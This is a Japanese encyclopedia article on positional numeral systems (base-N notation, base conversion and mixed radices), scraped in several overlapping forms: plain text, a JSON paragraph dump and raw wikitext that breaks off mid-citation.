この節では特に断りがない限り十進数について述べるが、他の底についても同様である。
実数の N 進表記は一意ではない。
よく知られているように、
である。また、以下のように、上位桁に不要な0を付け加えることもできる。
通常は「0013」のような表記は許さないとする事が多いが、コンピューターなどでは、最大で4桁の整数値であることを示すため、あえて「0013」のような表記をする場合がある。
以上のような例を除くと0以外の実数は一意に表現できる。
しかし、0のみは
の二通りの表記が可能である(いわゆる負のゼロの問題)。これが原因で、コンピューター・プログラムでは0のみ例外処理を求められる場合がある。
また、一般には0は1桁の数とされているが、ルールを優先し1桁の数と認めない場合もある(覆面算#ルール)。
表計算ソフトの列名などで用いられている、A, B, ..., Z, AA, AB, ... のような形式は、位取り記数法の一種と考えることができ、かつ0より大きい整数を一意に表せる。(en:Bijective numeration)
与えられた非負整数 T を、記号 c 0 , ... , c N − 1 {\displaystyle {\mathfrak {c}}_{0},\ldots ,{\mathfrak {c}}_{N-1}} を数字として用いた N 進表記
a r ⋯ a 0 {\displaystyle a_{r}\cdots a_{0}}
で表すには、以下のアルゴリズムを用いればよい。
なお、このアルゴリズムは、 M ≠ NによりM 進表記されている T を N 進表記に書き換えるときに使われる事が多いので、このアルゴリズムを底の変換アルゴリズムと呼ぶ。
なお、T >0に対しては等式
r = ⌊ log N T ⌋ {\displaystyle r=\left\lfloor \log _{N}T\right\rfloor }
が知られている(なお、添え字を0から始めているので、T の桁数はr +1) 。ここで ⌊ x ⌋ {\displaystyle \left\lfloor x\right\rfloor } は床関数である。
十進法の 5213 を五進法に置き換える場合、5で割っていき、商が5未満になった時点で止める。余り無しの場合は 0 を明記する。商が5未満になったら、最後の商を先頭にして、最初の余りを末尾にして列べる。
から、5213 = 3 + 2 × 5 + 3 × 5 + 1 × 5 + 3 × 5 + 1 × 5 となるので、五進表記では 131323 と表すことができる。また、5 = 3125, 5 = 15625 であるから、5 ≤ 5213 < 5 が成り立っているので、対数を取ると
5 ≤ log 5 5213 < 6 {\displaystyle 5\leq \log _{5}5213<6}
となり、
r = ⌊ log 5 5213 ⌋ = 5 {\displaystyle r=\left\lfloor \log _{5}5213\right\rfloor =5}
が分かる。
十進法以外のN進法も同様で、例えば3に当たる六進法の 50213 を十六進法に置き換える場合も、商が24(6) = 10(G) を下回るまで24で割っていく。
以上より、1, 13, 14, 1の列になり、13(6) = 9(G)、14(6) = A(G) なので、十六進法では 19A1 となる。
小数を別のN進法に変換する場合には、以下の経過を践む。
(例)十進数0.531441 → 十二進数六桁
以上より、十進数0.531441 は、十二進数では約0.6463B6 となる。
(例)十進数0.124053 → 六進数九桁
よって、十進数0.124053 は、六進数では約0.042443452 となる。
十進法では、機械的に十倍、百倍、千倍、一万倍...の順で増える。同じく、十二進法では、機械的に十二倍、百四十四倍、千七百二十八倍、二万七百三十六倍...の順で増える。
しかし、底を2つに分ける場合がある。十進法に対して、二・五進法(十が五進命数法で「二五」なので、区別するため二と五の間に点が必要)では二と五の2つの底があるので、桁が上がる度に五倍→二倍→五倍→二倍...と交互になり、「十の冪数」と「十の冪数の五倍」が交互に現れる。これはそろばんと同じく一桁が「一の位」4つと「五の位」1つで構成される方法だが、計算機にも応用されている。
時間:
秒、六十進法、分、六十進法、時、二十四進法、日、七進法、週
秒、六十進法、分、六十進法、時、二十四進法、日、三十進法、月、十二進法、年、十進法、十年紀、十進法、世紀、十進法、千年紀
バビロニアの六十進法もそろばんに似た方法で、一桁が「一の位」9つと「十の位」5つで構成されており、整数は十倍→六倍→十倍→六倍と交互になり、小数は六分の一→十分の一→六分の一→十分の一と交互になる。この方法では、整数第二位は「六十の位」と「六百の位」に分かれ、整数第三位は「三千六百の位」と「三万六千の位」に分かれ、小数第一位は「六分の一の位」と「六十分の一の位」に分かれ、小数第二位は「三百六十分の一の位」と「三千六百分の一の位」に分かれている。
階乗進法
これら二・五進法や六十進法のように複数の底が設定されている場合には、" : " などの区切り符号を付ける。例えば、六十進法で十進法を補助とする場合には、58 → 59 → 1:00 → 1:01 → 1:02 ...の順に数列が進む。
日本の通貨(硬貨と紙幣)には、昇順で一円→五円→十円→五十円→百円→五百円→千円→五千円→一万円があるので、通貨を一つの単位と見れば、これは前述の二・五進法である。この配列を見ると、一(10)、十(10)、百(10)、千(10)、一万(10)が十の冪数であり、五、五十、五百、五千が「十の冪数の五倍」である。
「底 N 」を英語で、base N という。特定のNに関しては倍数接頭辞を基に名称がついているが、名称の付け方は不規則である。通常、接尾辞が -ary である語は、ラテン語の -arius (~の、~に関する) に由来して、「N 個一組」「N を単位とする」「N 個から成る」を意味する語である。一方、接尾辞が -imal である語は、ラテン語の -imus に由来して、「第 N」「N 分の一」を意味する語である。
以下は「底 N 」、もしくはより明解に「N 個一組」「N を単位とする」「N 個から成る」という意味の形容詞である。
これらを使い、a base-two numberで「二進数」、the base-two numeral systemで「二進法」を表す名詞となる。 同様にa binary number、the binary numeral systemでもそれぞれ「二進数」、「二進法」を表す名詞となる。他の底も同様。
N 進表記と関連が深い概念として、素数 p 毎に定まる p 進数というものもある。 名称は本稿で解説しているN 進表記の別名であるN 進数と同一であるものの、別概念ではある。ただし両者は非常に関連があり、整数の p進表記を(可算)無限桁の自然数の範囲に拡張したものが p進整数で、さらにそこに有限桁の小数部分を許したものが p進数である。ただし「無限桁の整数」(の一部は有理数として再解釈できるもののほとんど)は本稿で扱う普通の数(実数)とは異なる。 | [
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"paragraph_id": 24,
"tag": "p",
"text": "十進法ではこれらの数字を列べる事で数を表現する。 例えば、312.02は、",
"title": "適用例"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "3 × 10 2 + 1 × 10 1 + 2 × 10 0 + 0 × 1 10 1 + 2 × 1 10 2 {\\displaystyle 3\\times 10^{2}+1\\times 10^{1}+2\\times 10^{0}+0\\times {\\frac {1}{10^{1}}}+2\\times {\\frac {1}{10^{2}}}}",
"title": "適用例"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "を表す。",
"title": "適用例"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "例えば五進法をアラビア数字で表した場合、使う数字は",
"title": "適用例"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "の五種類の記号であり、五進法における431.02は、",
"title": "適用例"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "4 × 5 2 + 3 × 5 1 + 1 × 5 0 + 0 × 1 5 1 + 2 × 1 5 2 {\\displaystyle 4\\times 5^{2}+3\\times 5^{1}+1\\times 5^{0}+0\\times {\\frac {1}{5^{1}}}+2\\times {\\frac {1}{5^{2}}}}",
"title": "適用例"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "を表し、これは十進法の116.08にあたる。",
"title": "適用例"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "注意すべき点は、同じ「431.02」でも五進法のものと十進法のものでは値が異なる。このため、位取り記数法の話をするときには、常に何進法の話であるのかを明示する必要がある。(後述)",
"title": "適用例"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "十二進法、十六進法、二十進法のように、N が十より大きい場合は用いる数字は、アラビア数字だけでは足りなくなる。そこで、十以上の数を表記する「数字」として、ラテン文字のアルファベットの大文字を用いる事が多い。",
"title": "適用例"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "例えば十六進法であれば、「数字」として",
"title": "適用例"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "を用い、A、B、C、D、E、Fはそれぞれ十進法の自然数10、11、12、13、14、15に対応する。",
"title": "適用例"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "従って例えば2F3.A7は",
"title": "適用例"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "2 × 16 2 + 15 × 16 1 + 3 + 10 × 1 16 1 + 7 × 1 16 2 {\\displaystyle 2\\times 16^{2}+15\\times 16^{1}+3+10\\times {\\frac {1}{16^{1}}}+7\\times {\\frac {1}{16^{2}}}}",
"title": "適用例"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "を表し、これは十進法の755.652344にあたる。",
"title": "適用例"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "有理数を小数で表す際、有限小数になる場合と循環小数になる場合がある。本節では底 N の位取り記数法で有理数が有限小数として表される(分子が分母で「割り切れる」)条件について述べる。",
"title": "可除性"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "一般に、既約分数 x/y が底 N の位取り記数法において有限小数として表されるには、分母 y が底 N が持つ素因数 p 1 , ... , p m {\\displaystyle p_{1},\\,\\dots ,\\,p_{m}} の積 y = p 1 k 1 ⋯ p m k m {\\displaystyle y=p_{1}^{k_{1}}{}\\dotsb {}p_{m}^{k_{m}}} (ただし k は 0 以上の整数)になっていなければならない(さもなくば N の冪を掛けて整数にならない)。この条件は分子によらないため、有限小数で表せるかは単位分数で表される有理数に限って調べればよい。",
"title": "可除性"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "例えば十進法では N = 10 = 2⋅5 のため、ある有理数を既約分数で表した際、分母が 2 と 5 以外に素因数を持たない場合には有限小数となり、それ以外は循環小数となる。",
"title": "可除性"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "N 進有限小数が M 進有限小数でもあるには、その有限小数を既約分数で現した際の分母が2つの底 N, M の冪のいずれの約数にもなる必要がある。特に、すべての N 進有限小数が M 進有限小数であるには M の素因数がすべて N の素因数に含まれていなければならない。",
"title": "可除性"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "この節では特に断りがない限り十進数について述べるが、他の底についても同様である。",
"title": "表記の一意性"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "実数の N 進表記は一意ではない。",
"title": "表記の一意性"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "よく知られているように、",
"title": "表記の一意性"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "である。また、以下のように、上位桁に不要な0を付け加えることもできる。",
"title": "表記の一意性"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "通常は「0013」のような表記は許さないとする事が多いが、コンピューターなどでは、最大で4桁の整数値であることを示すため、あえて「0013」のような表記をする場合がある。",
"title": "表記の一意性"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "以上のような例を除くと0以外の実数は一意に表現できる。",
"title": "表記の一意性"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "しかし、0のみは",
"title": "表記の一意性"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "の二通りの表記が可能である(いわゆる負のゼロの問題)。これが原因で、コンピューター・プログラムでは0のみ例外処理を求められる場合がある。",
"title": "表記の一意性"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "また、一般には0は1桁の数とされているが、ルールを優先し1桁の数と認めない場合もある(覆面算#ルール)。",
"title": "表記の一意性"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "表計算ソフトの列名などで用いられている、A, B, ..., Z, AA, AB, ... のような形式は、位取り記数法の一種と考えることができ、かつ0より大きい整数を一意に表せる。(en:Bijective numeration)",
"title": "表記の一意性"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "与えられた非負整数 T を、記号 c 0 , ... , c N − 1 {\\displaystyle {\\mathfrak {c}}_{0},\\ldots ,{\\mathfrak {c}}_{N-1}} を数字として用いた N 進表記",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "a r ⋯ a 0 {\\displaystyle a_{r}\\cdots a_{0}}",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "で表すには、以下のアルゴリズムを用いればよい。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "なお、このアルゴリズムは、 M ≠ NによりM 進表記されている T を N 進表記に書き換えるときに使われる事が多いので、このアルゴリズムを底の変換アルゴリズムと呼ぶ。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "なお、T >0に対しては等式",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "r = ⌊ log N T ⌋ {\\displaystyle r=\\left\\lfloor \\log _{N}T\\right\\rfloor }",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "が知られている(なお、添え字を0から始めているので、T の桁数はr +1) 。ここで ⌊ x ⌋ {\\displaystyle \\left\\lfloor x\\right\\rfloor } は床関数である。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "十進法の 5213 を五進法に置き換える場合、5で割っていき、商が5未満になった時点で止める。余り無しの場合は 0 を明記する。商が5未満になったら、最後の商を先頭にして、最初の余りを末尾にして列べる。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "から、5213 = 3 + 2 × 5 + 3 × 5 + 1 × 5 + 3 × 5 + 1 × 5 となるので、五進表記では 131323 と表すことができる。また、5 = 3125, 5 = 15625 であるから、5 ≤ 5213 < 5 が成り立っているので、対数を取ると",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "5 ≤ log 5 5213 < 6 {\\displaystyle 5\\leq \\log _{5}5213<6}",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "となり、",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "r = ⌊ log 5 5213 ⌋ = 5 {\\displaystyle r=\\left\\lfloor \\log _{5}5213\\right\\rfloor =5}",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "が分かる。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "十進法以外のN進法も同様で、例えば3に当たる六進法の 50213 を十六進法に置き換える場合も、商が24(6) = 10(G) を下回るまで24で割っていく。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "以上より、1, 13, 14, 1の列になり、13(6) = 9(G)、14(6) = A(G) なので、十六進法では 19A1 となる。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "小数を別のN進法に変換する場合には、以下の経過を践む。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "(例)十進数0.531441 → 十二進数六桁",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "以上より、十進数0.531441 は、十二進数では約0.6463B6 となる。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "(例)十進数0.124053 → 六進数九桁",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "よって、十進数0.124053 は、六進数では約0.042443452 となる。",
"title": "底の変換アルゴリズム"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "十進法では、機械的に十倍、百倍、千倍、一万倍...の順で増える。同じく、十二進法では、機械的に十二倍、百四十四倍、千七百二十八倍、二万七百三十六倍...の順で増える。",
"title": "複数の底の混在"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "しかし、底を2つに分ける場合がある。十進法に対して、二・五進法(十が五進命数法で「二五」なので、区別するため二と五の間に点が必要)では二と五の2つの底があるので、桁が上がる度に五倍→二倍→五倍→二倍...と交互になり、「十の冪数」と「十の冪数の五倍」が交互に現れる。これはそろばんと同じく一桁が「一の位」4つと「五の位」1つで構成される方法だが、計算機にも応用されている。",
"title": "複数の底の混在"
},
{
"paragraph_id": 74,
"tag": "p",
"text": "時間:",
"title": "複数の底の混在"
},
{
"paragraph_id": 75,
"tag": "p",
"text": "秒、六十進法、分、六十進法、時、二十四進法、日、七進法、週",
"title": "複数の底の混在"
},
{
"paragraph_id": 76,
"tag": "p",
"text": "秒、六十進法、分、六十進法、時、二十四進法、日、三十進法、月、十二進法、年、十進法、十年紀、十進法、世紀、十進法、千年紀",
"title": "複数の底の混在"
},
{
"paragraph_id": 77,
"tag": "p",
"text": "バビロニアの六十進法もそろばんに似た方法で、一桁が「一の位」9つと「十の位」5つで構成されており、整数は十倍→六倍→十倍→六倍と交互になり、小数は六分の一→十分の一→六分の一→十分の一と交互になる。この方法では、整数第二位は「六十の位」と「六百の位」に分かれ、整数第三位は「三千六百の位」と「三万六千の位」に分かれ、小数第一位は「六分の一の位」と「六十分の一の位」に分かれ、小数第二位は「三百六十分の一の位」と「三千六百分の一の位」に分かれている。",
"title": "複数の底の混在"
},
{
"paragraph_id": 78,
"tag": "p",
"text": "階乗進法",
"title": "複数の底の混在"
},
{
"paragraph_id": 79,
"tag": "p",
"text": "これら二・五進法や六十進法のように複数の底が設定されている場合には、\" : \" などの区切り符号を付ける。例えば、六十進法で十進法を補助とする場合には、58 → 59 → 1:00 → 1:01 → 1:02 ...の順に数列が進む。",
"title": "複数の底の混在"
},
{
"paragraph_id": 80,
"tag": "p",
"text": "日本の通貨(硬貨と紙幣)には、昇順で一円→五円→十円→五十円→百円→五百円→千円→五千円→一万円があるので、通貨を一つの単位と見れば、これは前述の二・五進法である。この配列を見ると、一(10)、十(10)、百(10)、千(10)、一万(10)が十の冪数であり、五、五十、五百、五千が「十の冪数の五倍」である。",
"title": "複数の底の混在"
},
{
"paragraph_id": 81,
"tag": "p",
"text": "「底 N 」を英語で、base N という。特定のNに関しては倍数接頭辞を基に名称がついているが、名称の付け方は不規則である。通常、接尾辞が -ary である語は、ラテン語の -arius (~の、~に関する) に由来して、「N 個一組」「N を単位とする」「N 個から成る」を意味する語である。一方、接尾辞が -imal である語は、ラテン語の -imus に由来して、「第 N」「N 分の一」を意味する語である。",
"title": "英語表記"
},
{
"paragraph_id": 82,
"tag": "p",
"text": "以下は「底 N 」、もしくはより明解に「N 個一組」「N を単位とする」「N 個から成る」という意味の形容詞である。",
"title": "英語表記"
},
{
"paragraph_id": 83,
"tag": "p",
"text": "これらを使い、a base-two numberで「二進数」、the base-two numeral systemで「二進法」を表す名詞となる。 同様にa binary number、the binary numeral systemでもそれぞれ「二進数」、「二進法」を表す名詞となる。他の底も同様。",
"title": "英語表記"
},
{
"paragraph_id": 84,
"tag": "p",
"text": "N 進表記と関連が深い概念として、素数 p 毎に定まる p 進数というものもある。 名称は本稿で解説しているN 進表記の別名であるN 進数と同一であるものの、別概念ではある。ただし両者は非常に関連があり、整数の p進表記を(可算)無限桁の自然数の範囲に拡張したものが p進整数で、さらにそこに有限桁の小数部分を許したものが p進数である。ただし「無限桁の整数」(の一部は有理数として再解釈できるもののほとんど)は本稿で扱う普通の数(実数)とは異なる。",
"title": "p進数"
}
]
| 位取り記数法(くらいどりきすうほう、とは、いくつかの数字を並べて数を表す方法である。 数字ないし決まった文字数の数字列の置かれた位置を位または桁と呼び、数字の位を決めることを位取りという。 一つの桁を N 種の数字列の組み合わせで表す位取り記数法をN 進位取り記数法あるいは単に N 進法と呼ぶ。また、数 N を基数(きすう、ないし底(てい、と呼ぶ。
例えば、一般的に用いられる 0 から 9 までのアラビア数字による記数法は十進法にあたる。十進法でない例として、時刻や角度を表す単位の分や秒は六十進法が使われている。またコンピュータの分野においては数値表現に二進法とその派生である八進法や十六進法がしばしば用いられる。 位取り記数法は古代中国に由来する。中国では紀元前14世紀の商時代にすでに十進法が用いられており、紀元前4世紀にはゼロを空位として記述する位取り記数法を用いていた。対してヨーロッパにおける最古の十進法が記述された文書は976年のスペインの手稿本である。 本項では N が 2 以上の整数の場合を扱う。それ以外の場合については広義の記数法の記事を参照のこと。また後述するp 進数の概念とは別概念であるので注意が必要である。 | {{Redirect|桁|横架材|桁 (建築)}}
{{出典の明記|date=2020年2月}}
{{読み仮名|'''位取り記数法'''|くらいどりきすうほう|{{lang-en-short|positional notation}}}}とは、いくつかの[[数字]]を並べて数を表す方法である(例:{{math|123}}、{{math|3.14}}、{{math|3;8,24}})。
数字ないし決まった文字数の数字列の置かれた位置を{{読み仮名|'''位'''|くらい}}または{{読み仮名|'''桁'''|けた}}{{efn2|桁という呼称は、[[そろばん]]の珠を通す軸を桁と呼ぶことに由来する{{sfn|『デジタル大辞泉』【桁】}}。}}と呼び<ref>{{Cite book
|和書
|editor=山田 忠雄, 倉持 保男, 山田 明雄, 酒井 憲二, 柴田 武
|title=新明解国語辞典
|edition=第六版[特装版]
|year=2005
|publisher=三省堂
|isbn=4-385-13105-8
|page=417
|oclc=60598361
|ref={{sfnref|『新明解国語辞典』第六版[特装版]|2005}}
}}</ref>、数字の位を決めることを位取りという。
一つの桁を {{mvar|N}} 種の数字列の組み合わせで表す位取り記数法を{{読み仮名|{{mvar|N}} '''進位取り記数法'''|エヌしんくらいどりきすうほう}}あるいは単に {{読み仮名|{{mvar|N}} '''進法'''|エヌしんほう}}{{efn2|「{{mvar|N}} 進法」という語は[[記数法]]にも[[命数法]]にも用いられる。本稿では単に {{mvar|N}} を底とする数の表示法を {{mvar|N}} 進法と呼ぶ。}}と呼ぶ。また、数 {{mvar|N}} を{{読み仮名|'''基数'''|きすう|{{lang-en-short|radix}}}}{{efn2|[[集合論]]における[[基数]]とは、日本語は同じだが異なる概念である。混同を避けるため、本項では次に挙げる「底」の語を主に用いる。}}ないし{{読み仮名|'''底'''|てい|{{lang-en-short|base}}}}と呼ぶ。
例えば、一般的に用いられる 0 から 9 までの[[アラビア数字]]による記数法は[[十進法]]にあたる。十進法でない例として、[[時刻]]や[[角度]]を表す[[単位]]の[[分]]や[[秒]]は[[六十進法]]が使われている。また[[コンピュータ]]の分野においては数値表現に[[二進法]]とその派生である[[八進法]]や[[十六進法]]がしばしば用いられる。
位取り記数法は古代中国に由来する。中国では紀元前14世紀の商時代にすでに十進法が用いられており、紀元前4世紀にはゼロを空位として記述する位取り記数法を用いていた。対してヨーロッパにおける最古の十進法が記述された文書は976年のスペインの手稿本である<ref>{{Cite book |edition=Repr |title=Science and civilisation in China. Pt. 1: Vol. 5. Chemistry and chemical technology Paper and printing / by Tsien Tsuen-Hsuin |publisher=Cambridge Univ. Pr |date=2001 |location=Cambridge |isbn=978-0-521-08690-5 |volume=5 |editor-first=Joseph |editor-last=Needham |editor2-first=Tsuen-hsuin |editor2-last=Tsien}}</ref>。
本項では {{mvar|N}} が 2 以上の[[整数]]の場合を扱う。それ以外の場合については[[広義の記数法]]の記事を参照のこと。また後述する[[#p進数|{{mvar|p}} 進数]]の概念とは(関連があるものの)別概念であるので注意が必要である。
== 記法 ==
{{see also|記数法}}
{{math|2}} 以上の[[整数]] {{mvar|N}} を底(基数)とする位取り記数法({{mvar|N}} 進法)において、それぞれの位の値は {{math|0}} から {{math|''N'' − 1}} までの {{mvar|N}} 個の[[正の数と負の数|非負]]の整数に対応した[[数字]]で表される(例:{{math2|1234567890}}、{{math2|一二三四五六七八九〇}}){{sfn|朝倉『数学辞典』(普及版)|2011|loc=基底(数の表示における)|p=78}}<ref name="mathworld-base">{{mathworld|title=Base|urlname=Base}}</ref>。
非負の数は位取り記数法によって、以下のように表される<ref name="mathworld-base" />:
: <math display="block">
\underbrace{d_{m-1} \cdots d_1 d_0}_\text{integer part}
\underbrace{.}_\text{radix point}
\underbrace{d_{-1} d_{-2} \cdots}_\text{fractional part}
\,.
</math>
ここで {{math|''d''{{sub|''k''}} ∈ {{mset|0, ... , ''N'' − 1}}}} は位の値{{sfn|朝倉『数学辞典』(普及版)|2011|loc=位の値|p=121}}を表し、添字 {{mvar|k}} はここでは {{mvar|N{{sup|k}}}}{{efn2|{{mvar|N{{sup|k}}}} は {{mvar|N}} の {{mvar|k}} [[冪乗|乗]]を表す。{{mvar|N}} 進法において {{math|1=''N'' = 10}} であり、{{mvar|k}} を非負として、<math display="inline">\scriptstyle N^k = 1\underbrace{0 \cdots 0}_{k\,\text{個}}</math> である。冪指数が負の場合、例えば {{math|1=''N''{{sup-|2}}}} は {{math|{{sfrac|''N''{{sup|2}}}}}} を表し、一般に {{math|1=''N''{{sup-|''k''}} = {{sfrac|''N''{{sup|''k''}}}}}} である。従って {{mvar|N}} 進法において、{{mvar|k}} を非負として、<math display="inline">\scriptstyle N^{-k} = \underbrace{0.0 \cdots 0}_{k\,\text{桁}}1</math> である。}}の位の[[冪乗|冪指数]]を表す。添字 {{mvar|k}} が 0 以上の位の値の並びは整数を表し'''整数部'''({{lang-en-short|integer part}})と呼ばれる。添字 {{mvar|k}} が {{math|−1}} 以下の位の値の並びは'''小数部'''({{lang-en-short|fractional part}})と呼ばれる。整数部と小数部は'''[[小数点]]'''{{efn2|本項では[[小数点]]に[[ピリオド]](.)を用いる。他に[[コンマ]](,)や[[中黒]](・)などが用いられる。}}({{lang-en-short|radix point}})によって区切られる(例:{{math|123.456}})。もし位取り記数法で表される数が整数ならば、小数点は書かなくともよい(例:{{math|123}})。{{mvar|m}} は整数部の桁数を表す。小数部について、{{math|1=''k'' = −1, −2 , ...}} の位はそれぞれ順に小数第一位、第二位、……と呼ばれる{{sfn|朝倉『数学辞典』(普及版)|2011|loc=少数位|p=204}}。
また負の数は[[プラス記号とマイナス記号|負符号]](−)を数字列の前方につけて表す{{sfn|朝倉『数学辞典』(普及版)|2011|loc=正の数|p=230}}<ref>{{mathworld|title=Negative|urlname=Negative}}</ref>(例:{{math|−123.456}}、{{math|−123}}):
: <math display="block">
-d_{m-1} \cdots d_1 d_0
.
d_{-1} d_{-2} \cdots \,.
</math>
位取り記数法による数の表示は、底の冪 {{mvar|N{{sup|k}}}} とその位の値 {{mvar|d{{sub|k}}}} の[[乗法|積]]の[[加法|和]]の略記と見なせる:
:<math display="block">
d_{m-1} \cdots d_1 d_0
. d_{-1} d_{-2} \cdots
= \sum_{k}^{m-1} d_k N^k
\,.
</math>
ここで右辺の[[和の記号]]は以下を表す:
:<math display="block">
\sum_{k}^{m-1} d_k N^k
= d_{m-1} N^{m-1}
+ \dotsm
+ d_1 N + d_0 + d_{-1} N^{-1} + \dotsm {}
\,.
</math>
例えば、[[十進法]]における {{math|123.45}} は、
:<math>
\begin{align}
123.45 &=
1 \cdot {10}^2
+ 2 \cdot {10}^1
+ 3 \cdot {10}^0
+ 4 \cdot {10}^{-1}
+ 5 \cdot {10}^{-2} \\
&= 100 + 20 + 3
+ \frac{4}{10}
+ \frac{5}{100}
\end{align}
</math>
と展開できる。
小数部の位の値は有限個の場合もあれば、そうでない場合もある。{{mvar|N}} 進法で[[循環小数]]となるような[[有理数]]や、[[無理数]]は有限の桁数では表せないため、末尾に[[省略記号]](…)を付けて有限桁でないことを示す(例:[[円周率]] {{pi}} の十進展開 {{math|1=π = 3.14159...}})。
循環小数について、以下のように、'''循環節'''({{lang-en-short|repetend}})を上線などによって示す記法も用いられる(以下では上線を用いる)<ref>{{mathworld|title=Vinculum|urlname=Vinculum}}</ref>:
: <math display="block">
d_{m-1} \cdots d_1 d_0
.
d_{-1} d_{-2} \cdots
\underbrace{\overline{
d_{-r} \cdots d_{-(r+\lambda-1)}
}}_\text{repetend}
</math>
ここで {{mvar|λ}} は循環節の長さを表し、{{mvar|r}} は循環節が始まる位を示す。例えば[[十進法]]において {{math|{{sfrac|1|14}}}} は {{math|0.0{{overline|714285}}}} と表される。
=== {{vanc|底の明示|基数の明示}} ===
慣習的に、特に断りのない限り、位取り記数法で示された数は[[十進法|十進数]]と解釈される。異なる底を用いていることを示すため、以下のように底を併記することがある:
: <math display="block">
{
d_{m-1} \cdots d_1 d_0
.
d_{-1} d_{-2} \cdots d_{-\ell} \,
}_{(N)} \,,
</math>
または底を括弧で囲わず、
: <math display="block">
{
d_{m-1} \cdots d_1 d_0
.
d_{-1} d_{-2} \cdots d_{-\ell} \,
}_{N} \,,
</math>
あるいは数を括弧書きして、
:<math display="block">
\left(
d_{m-1} \cdots d_1 d_0
.
d_{-1} d_{-2} \cdots d_{-\ell}
\right)_{N}
\,.
</math>
上記の記法において、底の数自体は十進法で表記される。例えば、{{math|10{{sub|(2)}}}} は[[二進法|二進数]]であり、十進数 {{math|2}} に等しい数を表す。また {{math|100{{sub|(16)}}}} [[十六進法|十六進数]]であり、十進数 {{math|256}} に等しい数を表す。
その他の記法として、[[プログラミング|コンピュータ・プログラミング]]において、[[プログラミング言語]]によっては、定まった数を表す[[構文解析|構文]]([[リテラル]])が用意されている。例えば[[C言語]]や[[C++]]において、<code>123</code> は十進法、<code>0x012abc</code> および <code>0X345DEF</code> は十六進法、<code>0b0101</code> および <code>0B1010</code> は二進法、<code>0123</code> は[[八進法]]の[[定数]]をそれぞれ表し、底の区別は先頭の記号によってなされる(<code>0</code> 以外の数字で始まるなら十進数、<code>0x</code> または <code>0X</code> で始まるなら十六進数、<code>0b</code> または <code>0B</code> で始まるなら二進数、それ以外は八進数と解釈される{{efn2|より正確には続く数字列が十進数、十六進数、二進数、八進数として正しくなければならない。十進数には 0 から 9 までの数字、十六進数には加えて A (a) から F (f) までの6つの数字が使用できるが、二進数には 0 と 1 のみ、八進数には 0 から 7 までの数字のみが使用できる。}})<ref>{{cite web2
|website=cppreference.com
|url=https://en.cppreference.com/mwiki/index.php?title=cpp/language/integer_literal&oldid=147298
|title=Integer literal
|accessdate=2023-03-16
}}
</ref><ref>{{cite web2
|website=cppreference.com
|url=https://en.cppreference.com/mwiki/index.php?title=c/language/integer_constant&oldid=142432
|title=Integer constant
|accessdate=2023-03-16
}}
</ref>。[[JavaScript]]などでは八進数についてより厳格に、<code>0o</code> または <code>0O</code> で始まる文法を採用している<ref>{{cite web2
|website=developer.mozilla.org
|url=https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Lexical_grammar#%E6%95%B0%E5%80%A4%E3%83%AA%E3%83%86%E3%83%A9%E3%83%AB
|title=MDN web docs - 字句文法 # 数値リテラル
|accessdate=2023-03-16
}}
</ref>。より柔軟な記法として、2から36までの底について{{efn2|底が36までに制限されるのは、数値に使える文字種が[[アラビア数字]]10文字と[[ISO基本ラテンアルファベット|基本ラテン文字]]26文字の計36文字に限られるため。}}、[[Smalltalk]]では <code>base "r" value</code>(例:<code>16rFFEF</code>)<ref>{{cite web2
|website=www.gnu.org
